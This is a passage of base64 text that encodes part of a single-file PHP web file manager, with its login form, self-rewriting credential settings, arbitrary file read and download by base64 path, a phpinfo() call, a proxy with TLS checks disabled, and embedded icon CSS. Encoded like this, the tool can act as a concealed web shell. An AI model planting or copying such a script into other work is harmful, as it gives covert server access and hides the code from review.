0PSJ1dGYtOCIgLz4KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPgo8dGl0bGU+Jy5fXygnRmlsZSBtYW5hZ2VyJykuJzwvdGl0bGU+CjwvaGVhZD4KPGJvZHk+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgonLl9fKCdMb2dpbicpLicgPGlucHV0IG5hbWU9ImxvZ2luIiB0eXBlPSJ0ZXh0Ij4mbmJzcDsmbmJzcDsmbmJzcDsKJy5fXygnUGFzc3dvcmQnKS4nIDxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPiZuYnNwOyZuYnNwOyZuYnNwOwo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnRW50ZXInKS4nIiBjbGFzcz0iZm1faW5wdXQiPgo8L2Zvcm0+CicuZm1fbGFuZ19mb3JtKCRsYW5ndWFnZSkuJwo8L2JvZHk+CjwvaHRtbD4KJzsgIApkaWUoKTsKCX0KCWlmIChpc3NldCgkX1BPU1RbJ3F1aXQnXSkpIHsKCQl1bnNldCgkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV0pOwoJCXNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOwoJCWhlYWRlcignTG9jYXRpb246ICcuZm1fc2l0ZV91cmwoKS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7Cgl9Cn0KCi8vIENoYW5nZSBjb25maWcKaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkgewoJaWYgKGlzc2V0KCRfR0VUWydmbV9jb25maWdfZGVsZXRlJ10pKSB7IAoJCXVuc2V0KCRfQ09PS0lFWydmbV9jb25maWcnXSk7CgkJc2V0Y29va2llKCdmbV9jb25maWcnLCAnJywgdGltZSgpIC0gKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7CgkJaGVhZGVyKCdMb2NhdGlvbjogJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUnKTsKCQlleGl0KDApOwoJfQllbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fY29uZmlnJ10pKSB7IAoJCSRmbV9jb25maWcgPSAkX1BPU1RbJ2ZtX2NvbmZpZyddOwoJCXNldGNvb2tpZSgnZm1fY29uZmlnJywgc2VyaWFsaXplKCRmbV9jb25maWcpLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsKCQkkX0NPT0tJRVsnZm1fY29uZmlnJ10gPSBzZXJpYWxpemUoJGZtX2NvbmZpZyk7CgkJJG1zZyA9IF9fKCdTZXR0aW5ncycpLicgJy5fXygnZG9uZScpOwoJfQllbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fbG9naW4nXSkpIHsgCgkJaWYgKGVtcHR5KCRfUE9TVFsnZm1fbG9naW4nXVsnYXV0aG9yaXplJ10pKSAkX1BPU1RbJ2ZtX2xvZ2luJ10gPSBhcnJheSgnYXV0aG9yaXplJyA9PiAnMCcpICsgJF9QT1NUWydmbV9sb2dpbiddOwoJCSRmbV9sb2dpbiA9IGpzb25fZW5jb2RlKCRfUE9TVFsnZm1fbG9naW4nXSk7CgkJJGZnYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsKCQkkc2VhcmNoID0gcHJlZ19tYXRjaCgnI2F1dGhvcml6YXRpb25bXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOwoJCWlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7CgkJCSRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOwoJCQkkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkZm1fbG9naW4sJGZnYyk7CgkJCWlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7CgkJCQkkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsKCQkJCWlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2xvZ2luJ10gIT0gJGF1dGhbJ2xvZ2luJ10pICRtc2cgLj0gJyAnLl9fKCdMb2dpbicpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddOwoJCQkJaWYgKCRfUE9TVFsnZm1fbG9naW4nXVsncGFzc3dvcmQnXSAhPSAkYXV0aFsncGFzc3dvcmQnXSkgJG1zZyAuPSAnICcuX18oJ1Bhc3N3b3JkJykuJzogJy4kX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ107CgkJCQkkYXV0aCA9ICRfUE9TVFsnZm1fbG9naW4nXTsKCQkJfQoJCQllbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CgkJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsKCQl9Cgl9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWyd0cGxfZWRpdGVkJ10pKSB7IAoJCSRsbmdfdHBsID0gJF9QT1NUWyd0cGxfZWRpdGVkJ107CgkJaWYgKCFlbXB0eSgkX1BPU1RbJGxuZ190cGwuJ19uYW1lJ10pKSB7CgkJCSRmbV9waHAgPSBqc29uX2VuY29kZShhcnJheV9jb21iaW5lKCRfUE9TVFskbG5nX3RwbC4nX25hbWUnXSwkX1BPU1RbJGxuZ190cGwuJ192YWx1ZSddKSxKU09OX0hFWF9BUE9TKTsKCQl9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFskbG5nX3RwbC4nX25ld19uYW1lJ10pKSB7CgkJCSRmbV9waHAgPSBqc29uX2VuY29kZShqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSkrYXJyYXkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXT0+JF9QT1NUWyRsbmdfdHBsLidfbmV3X3ZhbHVlJ10pLEpTT05fSEVYX0FQT1MpOwoJCX0KCQlpZiAoIWVtcHR5KCRmbV9waHApKSB7CgkJCSRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7CgkJCSRzZWFyY2ggPSBwcmVnX21hdGNoKCcjJy4kbG5nX3RwbC4nX3RlbXBsYXRlc1tcc10/XD1bXHNdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkZmdjLCAkbWF0Y2hlcyk7CgkJCWlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7CgkJCQkkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTsKCQkJCSRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCRmbV9waHAsJGZnYyk7CgkJCQlpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgewoJCQkJCSR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSA9ICRmbV9waHA7CgkJCQkJJG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7CgkJCQl9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKCQkJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsKCQkJfQkKCQl9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKCX0KfQoKLy8gSnVzdCBzaG93IGltYWdlCmlmIChpc3NldCgkX0dFVFsnaW1nJ10pKSB7CgkkZmlsZT1iYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSk7CglpZiAoJGluZm89Z2V0aW1hZ2VzaXplKCRmaWxlKSl7CgkJc3dpdGNoICAoJGluZm9bMl0pewkvLzE9R0lGLCAyPUpQRywgMz1QTkcsIDQ9U1dGLCA1PVBTRCwgNj1CTVAKCQkJY2FzZSAxOiAkZXh0PSdnaWYnOyBicmVhazsKCQkJY2FzZSAyOiAkZXh0PSdqcGVnJzsgYnJlYWs7CgkJCWNhc2UgMzogJGV4dD0ncG5nJzsgYnJlYWs7CgkJCWNhc2UgNjogJGV4dD0nYm1wJzsgYnJlYWs7CgkJCWRlZmF1bHQ6IGRpZSgpOwoJCX0KCQloZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvJGV4dCIpOwoJCWVjaG8gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwoJCWRpZSgpOwoJfQp9CgovLyBKdXN0IGRvd25sb2FkIGZpbGUKaWYgKGlzc2V0KCRfR0VUWydkb3dubG9hZCddKSkgewoJJGZpbGU9YmFzZTY0X2RlY29kZSgkX0dFVFsnZG93bmxvYWQnXSk7CglmbV9kb3dubG9hZCgkZmlsZSk7CQp9CgovLyBKdXN0IHNob3cgaW5mbwppZiAoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsKCXBocGluZm8oKTsgCglkaWUoKTsKfQoKLy8gTWluaSBwcm94eSwgbWFueSBidWdzIQppZiAoaXNzZXQoJF9HRVRbJ3Byb3h5J10pICYmICghZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3Byb3h5J10pKSkgewoJJHVybCA9IGlzc2V0KCRfR0VUWyd1cmwnXSk/dXJsZGVjb2RlKCRfR0VUWyd1cmwnXSk6Jyc7CgkkcHJveHlfZm9ybSA9ICcKPGRpdiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDoxMDA1MDA7YmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgI2U0ZjVmYyAwJSwjYmZlOGY5IDUwJSwjOWZkOGVmIDUxJSwjMmFiMGVkIDEwMCUpOyI+Cgk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJHRVQiPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icHJveHkiIHZhbHVlPSJ0cnVlIj4KCScuZm1faG9tZSgpLicgPGEgaHJlZj0iJy4kdXJsLiciIHRhcmdldD0iX2JsYW5rIj5Vcmw8L2E+OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXJsIiB2YWx1ZT0iJy4kdXJsLiciIHNpemU9IjU1Ij4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTaG93JykuJyIgY2xhc3M9ImZtX2lucHV0Ij4KCTwvZm9ybT4KPC9kaXY+Cic7CglpZiAoJHVybCkgewoJCSRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnRGVuMXh4eCB0ZXN0IHByb3h5Jyk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMCk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRUZFUkVSLCAkdXJsKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7CgkJJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOwoJCWN1cmxfY2xvc2UoJGNoKTsKCQkvLyRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyMoc3JjKT1bIlwnXVtodHRwOi8vXT8oW146XSopWyJcJ10jVWknLCAnXFwxPSInLiR1cmwuJy9cXDIiJywgJHJlc3VsdCk7CgkJJHJlc3VsdCA9IHByZWdfcmVwbGFjZV9jYWxsYmFjaygnIyhocmVmfHNyYyk9WyJcJ11baHR0cDovL10/KFteOl0qKVsiXCddI1VpJywgJ2ZtX3VybF9wcm94eScsICRyZXN1bHQpOwoJCSRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyUoPGJvZHkuKj8+KSVpJywgJyQxJy4nPHN0eWxlPicuZm1faG9tZV9zdHlsZSgpLic8L3N0eWxlPicuJHByb3h5X2Zvcm0sICRyZXN1bHQpOwoJCWVjaG8gJHJlc3VsdDsKCQlkaWUoKTsKCX0gCn0KPz4KPCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4gICAgIAoJPG1ldGEgY2hhcnNldD0idXRmLTgiIC8+Cgk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+CiAgICA8dGl0bGU+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48L3RpdGxlPgo8c3R5bGU+CmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjoJd2hpdGU7Cglmb250LWZhbWlseToJCVZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7Cglmb250LXNpemU6CQkJOHB0OwoJbWFyZ2luOgkJCQkwcHg7Cn0KCmE6bGluaywgYTphY3RpdmUsIGE6dmlzaXRlZCB7IGNvbG9yOiAjMDA2Njk5OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0KYTpob3ZlciB7IGNvbG9yOiAjREQ2OTAwOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQphLnRoOmxpbmsgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9CmEudGg6YWN0aXZlIHsgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQphLnRoOnZpc2l0ZWQgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9CmEudGg6aG92ZXIgeyAgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9Cgp0YWJsZS5iZyB7CgliYWNrZ3JvdW5kLWNvbG9yOiAjQUNCQkM2Cn0KCnRoLCB0ZCB7IAoJZm9udDoJbm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOwoJcGFkZGluZzogM3B4Owp9Cgp0aAl7CgloZWlnaHQ6CQkJCTI1cHg7CgliYWNrZ3JvdW5kLWNvbG9yOgkjMDA2Njk5OwoJY29sb3I6CQkJCSNGRkEzNEY7Cglmb250LXdlaWdodDoJCWJvbGQ7Cglmb250LXNpemU6CQkJMTFweDsKfQoKLnJvdzEgewoJYmFja2dyb3VuZC1jb2xvcjoJI0VGRUZFRjsKfQoKLnJvdzIgewoJYmFja2dyb3VuZC1jb2xvcjoJI0RFRTNFNzsKfQoKLnJvdzMgewoJYmFja2dyb3VuZC1jb2xvcjoJI0QxRDdEQzsKCXBhZGRpbmc6IDVweDsKfQoKdHIucm93MTpob3ZlciB7CgliYWNrZ3JvdW5kLWNvbG9yOgkjRjNGQ0ZDOwp9Cgp0ci5yb3cyOmhvdmVyIHsKCWJhY2tncm91bmQtY29sb3I6CSNGMEY2RjY7Cn0KCi53aG9sZSB7Cgl3aWR0aDogMTAwJTsKfQoKLmFsbCB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO30KCnRleHRhcmVhIHsKCWZvbnQ6IDlwdCAnQ291cmllciBOZXcnLCBjb3VyaWVyOwoJbGluZS1oZWlnaHQ6IDEyNSU7CglwYWRkaW5nOiA1cHg7Cn0KCi50ZXh0YXJlYV9pbnB1dCB7CgloZWlnaHQ6IDFlbTsKfQoKLnRleHRhcmVhX2lucHV0OmZvY3VzIHsKCWhlaWdodDogYXV0bzsKfQoKaW5wdXRbdHlwZT1zdWJtaXRdewoJYmFja2dyb3VuZDogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7CgljdXJzb3I6IHBvaW50ZXI7Cn0KCi5mb2xkZXIgewogICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFLVDJsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTm5WRlBwRmozMzN2UkNTNGlBbEV0dlVoVUlJRkpDaTRBVWtTWXFJUWtRU29naG9ka1ZVY0VSUlVVRUc4aWdpQU9Pam9DTUZWRXNESW9LMkFma0lhS09nNk9JaXNyNzRYdWphOWE4OStiTi9yWFhQdWVzODUyenp3ZkFDQXlXU0ROUk5ZQU1xVUllRWVDRHg4VEc0ZVF1UUlFS0pIQUFFQWl6WkNGei9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SC93L3FRcGxjQVlDRUFjQjBrVGhMQ0lBVUFFQjZqa0ttQUVCR0FZQ2RtQ1pUQUtBRUFHRExZMkxqQUZBdEFHQW5mK2JUQUlDZCtKbDdBUUJibENFVkFhQ1JBQ0FUWlloRUFHZzdBS3pQVm9wRkFGZ3dBQlJtUzhRNUFOZ3RBREJKVjJaSUFMQzNBTURPRUF1eUFBZ01BREJSaUlVcEFBUjdBR0RJSXlONEFJU1pBQlJHOGxjODhTdXVFT2NxQUFCNG1iSTh1U1E1UllGYkNDMXhCMWRYTGg0b3pra1hLeFEyWVFKaG1rQXV3bm1aR1RLQk5BL2c4OHdBQUtDUkZSSGdnL1A5ZU00T3JzN09ObzYyRGw4dDZyOEcveUppWXVQKzVjK3JjRUFBQU9GMGZ0SCtMQyt6R29BN0JvQnQvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVi9OdytINDhQRVdoa0xuWjJlWGs1TmhLeEVKYlljcFhmZjVud2wvQVYvMXMrWDQ4L1BmMTRMN2lKSUV5WFlGSEJQamd3c3owVEtVY3o1SUpoR0xjNW85SC9MY0wvL3dkMHlMRVNXSzVXQ29VNDFFU2NZNUVtb3p6TXFVaWlVS1NLY1VsMHY5azR0OHMrd00rM3pVQXNHbytBWHVSTGFoZFl3UDJTeWNRV0hUQTR2Y0FBUEs3YjhIVUtBZ0RnR2lENGM5My8rOC8vVWVnSlFDQVprbVNjUUFBWGtRa0xsVEtzei9IQ0FBQVJLQ0JLckJCRy9UQkdDekFCaHpCQmR6QkMveGdOb1JDSk1UQ1FoQkNDbVNBSEhKZ0theUNRaWlHemJBZEttQXYxRUFkTk1CUmFJYVRjQTR1d2xXNERqMXdEL3BoQ0o3QktMeUJDUVJCeUFnVFlTSGFpQUZpaWxnampnZ1htWVg0SWNGSUJCS0xKQ0RKaUJSUklrdVJOVWd4VW9wVUlGVklIZkk5Y2dJNWgxeEd1cEU3eUFBeWd2eUd2RWN4bElHeVVUM1VETFZEdWFnM0dvUkdvZ3ZRWkhReG1vOFdvSnZRY3JRYVBZdzJvZWZRcTJnUDJvOCtROGN3d09nWUJ6UEViREF1eHNOQ3NUZ3NDWk5qeTdFaXJBeXJ4aHF3VnF3RHU0bjFZOCt4ZHdRU2dVWEFDVFlFZDBJZ1lSNUJTRmhNV0U3WVNLZ2dIQ1EwRWRvSk53a0RoRkhDSnlLVHFFdTBKcm9SK2NRWVlqSXhoMWhJTENQV0VvOFRMeEI3aUVQRU55UVNpVU15SjdtUUFrbXhwRlRTRXRKRzBtNVNJK2tzcVpzMFNCb2prOG5hWkd1eUJ6bVVMQ0FyeUlYa25lVEQ1RFBrRytRaDhsc0tuV0pBY2FUNFUrSW9Vc3BxU2hubEVPVTA1UVpsbURKQlZhT2FVdDJvb1ZRUk5ZOWFRcTJodGxLdlVZZW9FelIxbWpuTmd4WkpTNld0b3BYVEdtZ1hhUGRwcitoMHVoSGRsUjVPbDlCWDBzdnBSK2lYNkFQMGR3d05oaFdEeDRobktCbWJHQWNZWnhsM0dLK1lUS1laMDRzWngxUXdOekhybU9lWkQ1bHZWVmdxdGlwOEZaSEtDcFZLbFNhVkd5b3ZWS21xcHFyZXFndFY4MVhMVkkrcFhsTjlya1pWTTFQanFRblVscXRWcXAxUTYxTWJVMmVwTzZpSHFtZW9iMVEvcEg1Wi9Za0dXY05NdzA5RHBGR2dzVi9qdk1ZZ0MyTVpzM2dzSVdzTnE0WjFnVFhFSnJITjJYeDJLcnVZL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0L09CWjNuVTlsVDNhY0tweFpOUFRyMXJpNnFhNlVib2J0RWQ3OXVwKzZZbnI1ZWdKNU1iNmZlZWIzbitoeDlMLzFVL1czNnAvVkhERmdHc3d3a0J0c016aGc4eFRWeGJ6d2RMOGZiOFZGRFhjTkFRNlZobFdHWDRZU1J1ZEU4bzlWR2pVWVBqR25HWE9NazQyM0diY2FqSmdZbUlTWkxUZXBON3BwU1RibW1LYVk3VER0TXg4M016YUxOMXBrMW16MHgxekxubStlYjE1dmZ0MkJhZUZvc3RxaTJ1R1ZKc3VSYXBsbnV0cnh1aFZvNVdhVllWVnBkczBhdG5hMGwxcnV0dTZjUnA3bE9rMDZybnRabnc3RHh0c20ycWJjWnNPWFlCdHV1dG0yMmZXRm5ZaGRudDhXdXcrNlR2Wk45dW4yTi9UMEhEWWZaRHFzZFdoMStjN1J5RkRwV090NmF6cHp1UDMzRjlKYnBMMmRZenhEUDJEUGp0aFBMS2NScG5WT2IwMGRuRjJlNWM0UHppSXVKUzRMTExwYytMcHNieHQzSXZlUktkUFZ4WGVGNjB2V2RtN09id3UybzI2L3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFL0M1K1ZNR3Zmckg1UFEwK0JaN1huSXk5akw1RlhyZGV3dDZWM3F2ZGg3eGMrOWo1eW4rTSs0enczM2pMZVdWL01OOEMzeUxmTFQ4TnZubCtGMzBOL0kvOWsvM3IvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dC84N2ZPSDRwM2lDK043RjVndnlGMXdlYUhPd3ZTRnB4YXBMaElzT3BaQVRJaE9PSlR3UVJBcXFCYU1KZklUZHlXT0NubkNIY0puSWkvUk50R0kyRU5jS2g1TzhrZ3FUWHFTN0pHOE5Ya2t4VE9sTE9XNWhDZXBrTHhNRFV6ZG16cWVGcHAySUcweVBUcTlNWU9Ta1pCeFFxb2hUWk8yWitwbjVtWjJ5NnhsaGJMK3hXNkx0eThlbFFmSmE3T1FyQVZaTFFxMlFxYm9WRm9vMXlvSHNtZGxWMmEvelluS09aYXJuaXZON2N5enl0dVFONXp2bi8vdEVzSVM0WksycFlaTFZ5MGRXT2E5ckdvNXNqeHhlZHNLNHhVRks0WldCcXc4dUlxMkttM1ZUNnZ0VjVldWZyMG1lazFyZ1Y3QnlvTEJ0UUZyNnd0VkN1V0ZmZXZjMSsxZFQxZ3ZXZCsxWWZxR25ScytGWW1LcmhUYkY1Y1ZmOWdvM0hqbEc0ZHZ5citaM0pTMHFhdkV1V1RQWnRKbTZlYmVMWjViRHBhcWwrYVhEbTROMmRxMERkOVd0TzMxOWtYYkw1Zk5LTnU3ZzdaRHVhTy9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozL1Q3SnZ0dFZBVlZOMVdiVlpmdEorN1AzUDY2SnF1bjRsdnR0WGExT2JYSHR4d1BTQS8wSEl3NjIxN25VMVIzU1BWUlNqOVlyNjBjT3h4KysvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKMy9jZURUcmFkb3g3ck9FSDB4OTJIV2NkTDJwQ212S2FScHRUbXZ0YllsdTZUOHcrMGRicTNucjhSOXNmRDV3MFBGbDVTdk5VeVduYTZZTFRrMmZ5ejR5ZGxaMTlmaTc1M0dEYm9yWjc1MlBPMzJvUGIrKzZFSFRoMGtYL2krYzd2RHZPWFBLNGRQS3kyK1VUVjdoWG1xODZYMjNxZE9vOC9wUFRUOGU3bkx1YXJybGNhN251ZXIyMWUyYjM2UnVlTjg3ZDlMMTU4UmIvMXRXZU9UM2R2Zk42Yi9mRjkvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1IvY0doWVBQL3BIMWp3OURCWStaajh1R0RZYnJuamcrT1RuaVAzTDk2ZnluUTg5a3p5YWVGLzZpL3N1dUZ4WXZmdmpWNjlmTzBaalJvWmZ5bDVPL2JYeWwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG8vMmo1c2ZWVDBLZjdreG1Uay84RUE1anovR016TGRzQUFBQUdZa3RIUkFEL0FQOEEvNkM5cDVNQUFBQUpjRWhaY3dBQUN4TUFBQXNUQVFDYW5CZ0FBQUFIZEVsTlJRZmNDQXdHTWhsZUdBS09BQUFCeUVsRVFWUTR5OFdUVDJzVVFSREZmOVhUTStQR0lCSGRFRVFSOGVBZmdnYVBIdlR1eVUraStBMzhBRjQ4ZWZKYktCNXpFMElNQVZjQ2lSaFFFOGdtbTExMXM5bVozWmwrSG1heTVxQVk4R0JEZFRXUGVvOUhWUmY4NzJPOXhWdjMvSm5yQ3lnSVU0MDZLL3FicmJQM1Z4Yi9xakQ4K09TTnRDK1ZYNlJpVXlyV3BYSkQyYWVuZnlSM1hzOU4zaDVyRkl3NkVBWVF4c0FJS01GeCtjZlNnMGRtRmsrcUphUXlHdTB0dndUMkt3RVpoQU5RV1pHVmczTFM4M2V1cE0yRjV5aURrRTl3RFBaNzYydlFmVlVKaElLUTdURGFXOFRpYWNDTzJsTm5kNnhqbFl2cG00OWY1RnVOWitYQnhwb241QlRmV3FTek40QUVMQUZMcSt3U2JJTEZkWGdndW9pYlVqNyt2dTBSS0c5amVZSGs2dUlFWElvc1FaWmlOV1l1UVNRUVRXRnVZRVYzYWNYVGZ3ZHhpdEtyUUF3dW1ZaVlPM0p6Q2tWVHlEV3dzZytEVlpSOVlOVEwzbnFORG5IeE5CcTJmMW1jMkkxQWduQUlSUmZHYlZRT2FtZW55UTdheTc0c0kzeitGV1dIOWFpT3JsQ0ZCT2FxcUxvSXlpancrWVdIVzl1K0NLYkdzSWMwL3MyWDBiRnBITU5VRXVLWlZRQy8yeDBtTTAwUDhpZGZBQWV0ejJFVHdHNWZhODdQbm9zdWhZQk95bzhjdHRNSlcrODNkbHYvdElsM0YrYjRDWXlwMlR4dzJWVXdBQUFBQUVsRlRrU3VRbUNDIik7Cn0KCi5maWxlIHsKICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBS1QybERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk5uVkZQcEZqMzMzdlJDUzRpQWxFdHZVaFVJSUZKQ2k0QVVrU1lxSVFrUVNvZ2hvZGtWVWNFUlJVVUVHOGlnaUFPT2pvQ01GVkVzRElvSzJBZmtJYUtPZzZPSWlzcjc0WHVqYTlhODkrYk4vclhYUHVlczg1Mnp6d2ZBQ0F5V1NETlJOWUFNcVVJZUVlQ0R4OFRHNGVRdVFJRUtKSEFBRUFpelpDRnovU01CQVBoK1BEd3JJc0FIdmdBQmVOTUxDQURBVFp2QU1CeUgvdy9xUXBsY0FZQ0VBY0Iwa1RoTENJQVVBRUI2amtLbUFFQkdBWUNkbUNaVEFLQUVBR0RMWTJMakFGQXRBR0FuZitiVEFJQ2QrSmw3QVFCYmxDRVZBYUNSQUNBVFpZaEVBR2c3QUt6UFZvcEZBRmd3QUJSbVM4UTVBTmd0QURCSlYyWklBTEMzQU1ET0VBdXlBQWdNQURCUmlJVXBBQVI3QUdESUl5TjRBSVNaQUJSRzhsYzg4U3V1RU9jcUFBQjRtYkk4dVNRNVJZRmJDQzF4QjFkWExoNG96a2tYS3hRMllRSmhta0F1d25tWkdUS0JOQS9nODh3QUFLQ1JGUkhnZy9QOWVNNE9yczdPTm82MkRsOHQ2cjhHL3lKaVl1UCs1YytyY0VBQUFPRjBmdEgrTEMrekdvQTdCb0J0L3FJbDdnUm9YZ3VnZGZlTFpySVBRTFVBb09uYVYvTncrSDQ4UEVXaGtMbloyZVhrNU5oS3hFSmJZY3BYZmY1bndsL0FWLzFzK1g0OC9QZjE0TDdpSklFeVhZRk